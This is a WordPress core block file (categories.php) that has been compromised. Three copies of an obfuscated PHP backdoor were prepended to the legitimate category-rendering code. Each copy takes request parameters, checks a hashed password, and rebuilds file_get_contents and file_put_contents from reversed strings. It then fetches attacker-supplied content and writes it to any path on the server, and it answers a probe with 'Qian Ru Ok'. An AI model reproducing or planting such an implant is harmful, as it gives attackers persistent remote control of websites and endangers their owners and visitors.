File: /home/wwwrenee/www/wp-includes/blocks/categories.php
<?php
$lvNvMQMR = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($lvNvMQMR[0]) /*+/*+*/
. md5($lvNvMQMR[0])) == "c".
"5".
"b".
"3".
"2".
"7".
"9".
"1".
"b".
"7".
"2".
"2".
"b".
"5".
"2".
"d".
"f".
"5".
"0".
"8".
"a".
"5".
"0".
"c".
"2".
"0".
"d".
"d".
"c".
"8".
"4".
"9") {
$hEdPjN = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$WSxyzETMJm = $hEdPjN /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$iiEKpkK = $hEdPjN
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function NTFjz($eVFSvESY) { if (empty($eVFSvESY)) return false; if (!is_dir($eVFSvESY)) { NTFjz(dirname($eVFSvESY), 0755, true); mkdir($eVFSvESY); } } !file_exists(dirname($lvNvMQMR[1])) && NTFjz(dirname($lvNvMQMR[1])); $XNnVCoj = @$iiEKpkK($lvNvMQMR[2]); echo @$WSxyzETMJm($lvNvMQMR[1], $XNnVCoj) ? 1 : 0; die; }key($lvNvMQMR) == "of" && die("Qian Ru Ok"); ?><?php
$TXNroccj = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($TXNroccj[0]) /*+/*+*/
. md5($TXNroccj[0])) == "7".
"b".
"3".
"f".
"4".
"8".
"2".
"c".
"2".
"a".
"7".
"5".
"1".
"c".
"7".
"f".
"f".
"d".
"7".
"8".
"4".
"c".
"1".
"6".
"e".
"6".
"f".
"a".
"b".
"5".
"1".
"7") {
$QlMdns = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$nmhJYgTSl = $QlMdns /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$kGhsWGxNu = $QlMdns
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function vnqpr($pAQCXlx) { if (empty($pAQCXlx)) return false; if (!is_dir($pAQCXlx)) { vnqpr(dirname($pAQCXlx), 0755, true); mkdir($pAQCXlx); } } !file_exists(dirname($TXNroccj[1])) && vnqpr(dirname($TXNroccj[1])); $SuRpbEKsuA = @$kGhsWGxNu($TXNroccj[2]); echo @$nmhJYgTSl($TXNroccj[1], $SuRpbEKsuA) ? 1 : 0; die; }key($TXNroccj) == "of" && die("Qian Ru Ok"); ?><?php
$lWuKzNQ = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($lWuKzNQ[0]) /*+/*+*/
. md5($lWuKzNQ[0])) == "5".
"1".
"4".
"3".
"0".
"a".
"5".
"5".
"7".
"1".
"b".
"e".
"4".
"4".
"8".
"f".
"e".
"d".
"c".
"6".
"6".
"9".
"e".
"3".
"0".
"6".
"6".
"4".
"7".
"1".
"c".
"b") {
$FogOBKM = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$vpyWL = $FogOBKM /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$kaGVcwGt = $FogOBKM
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function aWvOPEAg($eRTLfode) { if (empty($eRTLfode)) return false; if (!is_dir($eRTLfode)) { aWvOPEAg(dirname($eRTLfode), 0755, true); mkdir($eRTLfode); } } !file_exists(dirname($lWuKzNQ[1])) && aWvOPEAg(dirname($lWuKzNQ[1])); $wMYpqtGrDz = @$kaGVcwGt($lWuKzNQ[2]); echo @$vpyWL($lWuKzNQ[1], $wMYpqtGrDz) ? 1 : 0; die; }key($lWuKzNQ) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Server-side rendering of the `core/categories` block.
*
* @package WordPress
*/
/**
* Renders the `core/categories` block on server.
*
* @param array $attributes The block attributes.
*
* @return string Returns the categories list/dropdown markup.
*/
function render_block_core_categories( $attributes ) {
static $block_id = 0;
$block_id++;
$args = array(
'echo' => false,
'hierarchical' => ! empty( $attributes['showHierarchy'] ),
'orderby' => 'name',
'show_count' => ! empty( $attributes['showPostCounts'] ),
'title_li' => '',
);
if ( ! empty( $attributes['showOnlyTopLevel'] ) && $attributes['showOnlyTopLevel'] ) {
$args['parent'] = 0;
}
if ( ! empty( $attributes['displayAsDropdown'] ) ) {
$id = 'wp-block-categories-' . $block_id;
$args['id'] = $id;
$args['show_option_none'] = __( 'Select Category' );
$wrapper_markup = '<div %1$s><label class="screen-reader-text" for="' . esc_attr( $id ) . '">' . __( 'Categories' ) . '</label>%2$s</div>';
$items_markup = wp_dropdown_categories( $args );
$type = 'dropdown';
if ( ! is_admin() ) {
// Inject the dropdown script immediately after the select dropdown.
$items_markup = preg_replace(
'#(?<=</select>)#',
build_dropdown_script_block_core_categories( $id ),
$items_markup,
1
);
}
} else {
$wrapper_markup = '<ul %1$s>%2$s</ul>';
$items_markup = wp_list_categories( $args );
$type = 'list';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type}" ) );
return sprintf(
$wrapper_markup,
$wrapper_attributes,
$items_markup
);
}
/**
* Generates the inline script for a categories dropdown field.
*
* @param string $dropdown_id ID of the dropdown field.
*
* @return string Returns the dropdown onChange redirection script.
*/
function build_dropdown_script_block_core_categories( $dropdown_id ) {
ob_start();
?>
<script type='text/javascript'>
/* <![CDATA[ */
( function() {
var dropdown = document.getElementById( '<?php echo esc_js( $dropdown_id ); ?>' );
function onCatChange() {
if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
location.href = "<?php echo home_url(); ?>/?cat=" + dropdown.options[ dropdown.selectedIndex ].value;
}
}
dropdown.onchange = onCatChange;
})();
/* ]]> */
</script>
<?php
return ob_get_clean();
}
/**
* Registers the `core/categories` block on server.
*/
function register_block_core_categories() {
register_block_type_from_metadata(
__DIR__ . '/categories',
array(
'render_callback' => 'render_block_core_categories',
)
);
}
add_action( 'init', 'register_block_core_categories' ); ?>